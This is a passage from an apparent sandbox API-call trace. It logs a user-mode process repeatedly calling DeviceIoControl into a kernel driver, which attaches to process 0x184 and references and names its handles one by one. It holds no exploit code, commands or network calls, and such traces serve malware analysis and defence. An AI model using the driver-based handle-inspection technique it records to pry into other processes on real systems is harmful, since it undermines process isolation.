lpOverlapped=0x0) returned 1 [0131.725] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.725] PsAcquireProcessExitSynchronization () returned 0x0 [0131.725] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.725] ObReferenceObjectByHandle (in: Handle=0x8c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002633fc0, HandleInformation=0x0) returned 0x0 [0131.725] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.725] PsReleaseProcessExitSynchronization () returned 0x2 [0131.725] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.725] ObQueryNameString (in: Object=0xfffff8a002633fc0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000550) returned 0x0 [0131.725] ObfDereferenceObject (Object=0xfffff8a002633fc0) returned 0x1 [0131.725] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.725] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.725] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.725] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.725] PsAcquireProcessExitSynchronization () returned 0x0 [0131.725] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.725] ObReferenceObjectByHandle (in: Handle=0x908, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a003585880, HandleInformation=0x0) returned 0x0 [0131.725] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.725] PsReleaseProcessExitSynchronization () returned 0x2 [0131.725] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.725] ObQueryNameString (in: Object=0xfffff8a003585880, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.725] ObfDereferenceObject (Object=0xfffff8a003585880) returned 0x1 [0131.725] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.725] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.725] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.725] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.725] PsAcquireProcessExitSynchronization () returned 0x0 [0131.725] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.725] ObReferenceObjectByHandle (in: Handle=0x91c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002324060, HandleInformation=0x0) returned 0x0 [0131.725] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.725] PsReleaseProcessExitSynchronization () returned 0x2 [0131.725] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.726] ObQueryNameString (in: Object=0xfffff8a002324060, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0131.726] ObfDereferenceObject (Object=0xfffff8a002324060) returned 0x1 [0131.726] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.726] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.726] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.726] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.726] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.726] PsAcquireProcessExitSynchronization () returned 0x0 [0131.726] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.726] ObReferenceObjectByHandle (in: Handle=0x920, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a004389540, HandleInformation=0x0) returned 0x0 [0131.726] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.726] PsReleaseProcessExitSynchronization () returned 0x2 [0131.726] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.726] ObQueryNameString (in: Object=0xfffff8a004389540, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.726] ObfDereferenceObject (Object=0xfffff8a004389540) returned 0x1 [0131.726] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.726] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.726] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.726] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.726] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.726] PsAcquireProcessExitSynchronization () returned 0x0 [0131.726] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.726] ObReferenceObjectByHandle (in: Handle=0x928, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002c5f210, HandleInformation=0x0) returned 0x0 [0131.726] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.726] PsReleaseProcessExitSynchronization () returned 0x2 [0131.726] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.726] ObQueryNameString (in: Object=0xfffff8a002c5f210, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.726] ObfDereferenceObject (Object=0xfffff8a002c5f210) returned 0x1 [0131.726] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.726] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.726] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.726] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.726] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.726] PsAcquireProcessExitSynchronization () returned 0x0 [0131.727] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.727] ObReferenceObjectByHandle (in: Handle=0x92c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0043297a0, HandleInformation=0x0) returned 0x0 [0131.727] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.727] PsReleaseProcessExitSynchronization () returned 0x2 [0131.727] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.727] ObQueryNameString (in: Object=0xfffff8a0043297a0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.727] ObfDereferenceObject (Object=0xfffff8a0043297a0) returned 0x1 [0131.727] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.727] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.727] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.727] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.727] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.727] PsAcquireProcessExitSynchronization () returned 0x0 [0131.727] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.727] ObReferenceObjectByHandle (in: Handle=0x93c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001827610, HandleInformation=0x0) returned 0x0 [0131.727] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.727] PsReleaseProcessExitSynchronization () returned 0x2 [0131.727] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.727] ObQueryNameString (in: Object=0xfffff8a001827610, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.727] ObfDereferenceObject (Object=0xfffff8a001827610) returned 0x1 [0131.727] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.727] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.727] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.727] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.727] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.727] PsAcquireProcessExitSynchronization () returned 0x0 [0131.727] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.727] ObReferenceObjectByHandle (in: Handle=0x940, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a003063180, HandleInformation=0x0) returned 0x0 [0131.727] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.727] PsReleaseProcessExitSynchronization () returned 0x2 [0131.727] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.727] ObQueryNameString (in: Object=0xfffff8a003063180, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.727] ObfDereferenceObject (Object=0xfffff8a003063180) returned 0x1 [0131.727] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.728] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.728] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.728] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.728] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.728] PsAcquireProcessExitSynchronization () returned 0x0 [0131.728] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.728] ObReferenceObjectByHandle (in: Handle=0x958, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0033dee70, HandleInformation=0x0) returned 0x0 [0131.728] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.728] PsReleaseProcessExitSynchronization () returned 0x2 [0131.728] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.728] ObQueryNameString (in: Object=0xfffff8a0033dee70, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.728] ObfDereferenceObject (Object=0xfffff8a0033dee70) returned 0x1 [0131.728] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.728] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.728] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.728] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.728] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.728] PsAcquireProcessExitSynchronization () returned 0x0 [0131.728] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.728] ObReferenceObjectByHandle (in: Handle=0x95c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00398c880, HandleInformation=0x0) returned 0x0 [0131.728] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.728] PsReleaseProcessExitSynchronization () returned 0x2 [0131.728] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.728] ObQueryNameString (in: Object=0xfffff8a00398c880, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.728] ObfDereferenceObject (Object=0xfffff8a00398c880) returned 0x1 [0131.728] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.728] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.728] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.728] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.728] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.728] PsAcquireProcessExitSynchronization () returned 0x0 [0131.728] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.728] ObReferenceObjectByHandle (in: Handle=0x968, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a003a96390, HandleInformation=0x0) returned 0x0 [0131.728] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.728] PsReleaseProcessExitSynchronization () returned 0x2 [0131.729] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.729] ObQueryNameString (in: Object=0xfffff8a003a96390, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.729] ObfDereferenceObject (Object=0xfffff8a003a96390) returned 0x1 [0131.729] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.729] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.729] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.729] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.729] PsAcquireProcessExitSynchronization () returned 0x0 [0131.729] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.729] ObReferenceObjectByHandle (in: Handle=0x970, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002271740, HandleInformation=0x0) returned 0x0 [0131.729] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.729] PsReleaseProcessExitSynchronization () returned 0x2 [0131.729] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.729] ObQueryNameString (in: Object=0xfffff8a002271740, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.729] ObfDereferenceObject (Object=0xfffff8a002271740) returned 0x1 [0131.729] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.729] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.729] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.729] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.729] PsAcquireProcessExitSynchronization () returned 0x0 [0131.729] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.729] ObReferenceObjectByHandle (in: Handle=0x97c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00399ca80, HandleInformation=0x0) returned 0x0 [0131.729] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.729] PsReleaseProcessExitSynchronization () returned 0x2 [0131.729] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.729] ObQueryNameString (in: Object=0xfffff8a00399ca80, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.729] ObfDereferenceObject (Object=0xfffff8a00399ca80) returned 0x1 [0131.729] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.729] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.729] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.729] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.729] PsAcquireProcessExitSynchronization () returned 0x0 [0131.730] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.730] ObReferenceObjectByHandle (in: Handle=0x994, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002a6f8c0, HandleInformation=0x0) returned 0x0 [0131.730] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.730] PsReleaseProcessExitSynchronization () returned 0x2 [0131.730] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.730] ObQueryNameString (in: Object=0xfffff8a002a6f8c0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.730] ObfDereferenceObject (Object=0xfffff8a002a6f8c0) returned 0x1 [0131.730] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.730] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.730] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.730] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.730] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.730] PsAcquireProcessExitSynchronization () returned 0x0 [0131.730] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.730] ObReferenceObjectByHandle (in: Handle=0x9a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00346e830, HandleInformation=0x0) returned 0x0 [0131.730] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.730] PsReleaseProcessExitSynchronization () returned 0x2 [0131.730] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.730] ObQueryNameString (in: Object=0xfffff8a00346e830, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.730] ObfDereferenceObject (Object=0xfffff8a00346e830) returned 0x1 [0131.730] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.730] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.730] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.730] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.730] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.730] PsAcquireProcessExitSynchronization () returned 0x0 [0131.730] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.730] ObReferenceObjectByHandle (in: Handle=0x9c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a003a944e0, HandleInformation=0x0) returned 0x0 [0131.730] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.730] PsReleaseProcessExitSynchronization () returned 0x2 [0131.730] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.730] ObQueryNameString (in: Object=0xfffff8a003a944e0, ObjectNameInfo=0xfffffa800201f044, 